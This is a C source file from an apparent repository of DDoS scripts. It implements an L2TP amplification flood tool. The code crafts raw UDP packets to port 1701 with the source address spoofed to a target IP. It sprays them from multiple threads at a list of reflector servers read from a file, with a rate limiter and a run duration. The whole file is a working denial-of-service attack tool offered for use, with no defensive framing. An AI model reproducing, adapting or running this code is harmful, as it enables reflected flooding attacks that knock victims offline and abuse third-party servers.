Path: blob/master/DDOS Scripts/AMP Methods/L2TP Amplification/1701.c
4607 views
/* L2TP */12#include <time.h>3#include <pthread.h>4#include <unistd.h>5#include <stdio.h>6#include <stdlib.h>7#include <string.h>8#include <sys/socket.h>9#include <netinet/ip.h>10#include <netinet/udp.h>11#include <arpa/inet.h>12#define MAX_PACKET_SIZE 819213#define PHI 0x9e3779b914static uint32_t Q[4096], c = 362436;15struct list16{17struct sockaddr_in data;18struct list *next;19struct list *prev;20};21struct list *head;22volatile int tehport;23volatile int limiter;24volatile unsigned int pps;25volatile unsigned int sleeptime = 100;26struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };27void init_rand(uint32_t x)28{29int i;30Q[0] = x;31Q[1] = x + PHI;32Q[2] = x + PHI + PHI;33for (i = 3; i < 4096; i++)34{35Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;36}37}38uint32_t rand_cmwc(void)39{40uint64_t t, a = 18782LL;41static uint32_t i = 4095;42uint32_t x, r = 0xfffffffe;43i = (i + 1) & 4095;44t = a * Q[i] + c;45c = (t >> 32);46x = t + c;47if (x < c) {48x++;49c++;50}51return (Q[i] = r - x);52}53unsigned short csum (unsigned short *buf, int nwords)54{55unsigned long sum = 0;56for (sum = 0; nwords > 0; nwords--)57sum += *buf++;58sum = (sum >> 16) + (sum & 0xffff);59sum += (sum >> 16);60return (unsigned short)(~sum);61}62void setup_ip_header(struct iphdr *iph)63{64iph->ihl = 5;65iph->version = 4;66iph->tos = 0;67iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 74;68iph->id = htonl(54321);69iph->frag_off = 0;70iph->ttl = MAXTTL;71iph->protocol = IPPROTO_UDP;72iph->check = 0;73iph->saddr = inet_addr("192.168.3.100");74}75void setup_udp_header(struct udphdr *udph)76{77udph->source = htons(5678);78udph->dest = htons(1701);79udph->check = 0;80memcpy((void *)udph + sizeof(struct udphdr), "\xc8\x02\x00\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x80\x08\x00\x00\x00\x00\x00\x01\x80\x08\x00\x00\x00\x02\x01\x00\x80\x0a\x00\x00\x00\x03\x00\x00\x00\x03\x80\x0a\x00\x00\x00\x04\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x07\x74\x65\x73\x74\x80\x08\x00\x00\x00\x08\x2a\x2a\x80\x08\x00\x00\x00\x0a\x00\x04", 74);81udph->len=htons(sizeof(struct udphdr) + 74);82}83void *flood(void *par1)84{85struct thread_data *td = (struct thread_data *)par1;86char datagram[MAX_PACKET_SIZE];87struct iphdr *iph = (struct iphdr *)datagram;88struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);89struct sockaddr_in sin = td->sin;90struct list *list_node = td->list_node;91int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);92if(s < 0){93fprintf(stderr, "Could not open raw socket.\n");94exit(-1);95}96init_rand(time(NULL));97memset(datagram, 0, MAX_PACKET_SIZE);98setup_ip_header(iph);99setup_udp_header(udph);100udph->source = htons(rand() % 65535 - 1026);101iph->saddr = sin.sin_addr.s_addr;102iph->daddr = list_node->data.sin_addr.s_addr;103iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);104int tmp = 1;105const int *val = &tmp;106if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){107fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");108exit(-1);109}110init_rand(time(NULL));111register unsigned int i;112i = 0;113while(1){114sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));115list_node = list_node->next;116iph->daddr = list_node->data.sin_addr.s_addr;117iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);118iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);119120pps++;121if(i >= limiter)122{123i = 0;124usleep(sleeptime);125}126i++;127}128}129int main(int argc, char *argv[ ])130{131if(argc < 6){132fprintf(stderr, "Invalid parameters!\n");133fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);134exit(-1);135}136srand(time(NULL));137int i = 0;138head = NULL;139fprintf(stdout, "Setting up sockets...\n");140int max_len = 128;141char *buffer = (char *) malloc(max_len);142buffer = memset(buffer, 0x00, max_len);143int num_threads = atoi(argv[4]);144int maxpps = atoi(argv[5]);145limiter = 0;146pps = 0;147int multiplier = 20;148FILE *list_fd = fopen(argv[3], "r");149while (fgets(buffer, max_len, list_fd) != NULL) {150if ((buffer[strlen(buffer) - 1] == '\n') ||151(buffer[strlen(buffer) - 1] == '\r')) {152buffer[strlen(buffer) - 1] = 0x00;153if(head == NULL)154{155head = (struct list *)malloc(sizeof(struct list));156bzero(&head->data, sizeof(head->data));157head->data.sin_addr.s_addr=inet_addr(buffer);158head->next = head;159head->prev = head;160} else {161struct list *new_node = (struct list *)malloc(sizeof(struct list));162memset(new_node, 0x00, sizeof(struct list));163new_node->data.sin_addr.s_addr=inet_addr(buffer);164new_node->prev = head;165new_node->next = head->next;166head->next = new_node;167}168i++;169} else {170continue;171}172}173struct list *current = head->next;174pthread_t thread[num_threads];175struct sockaddr_in sin;176sin.sin_family = AF_INET;177sin.sin_addr.s_addr = inet_addr(argv[1]);178struct thread_data td[num_threads];179for(i = 0;i<num_threads;i++){180td[i].thread_id = i;181td[i].sin= sin;182td[i].list_node = current;183pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);184}185fprintf(stdout, "Starting flood...\n");186for(i = 0;i<(atoi(argv[6])*multiplier);i++)187{188usleep((1000/multiplier)*1000);189if((pps*multiplier) > maxpps)190{191if(1 > limiter)192{193sleeptime+=100;194} else {195limiter--;196}197} else {198limiter++;199if(sleeptime > 25)200{201sleeptime-=25;202} else {203sleeptime = 0;204}205}206pps = 0;207}208return 0;209}210211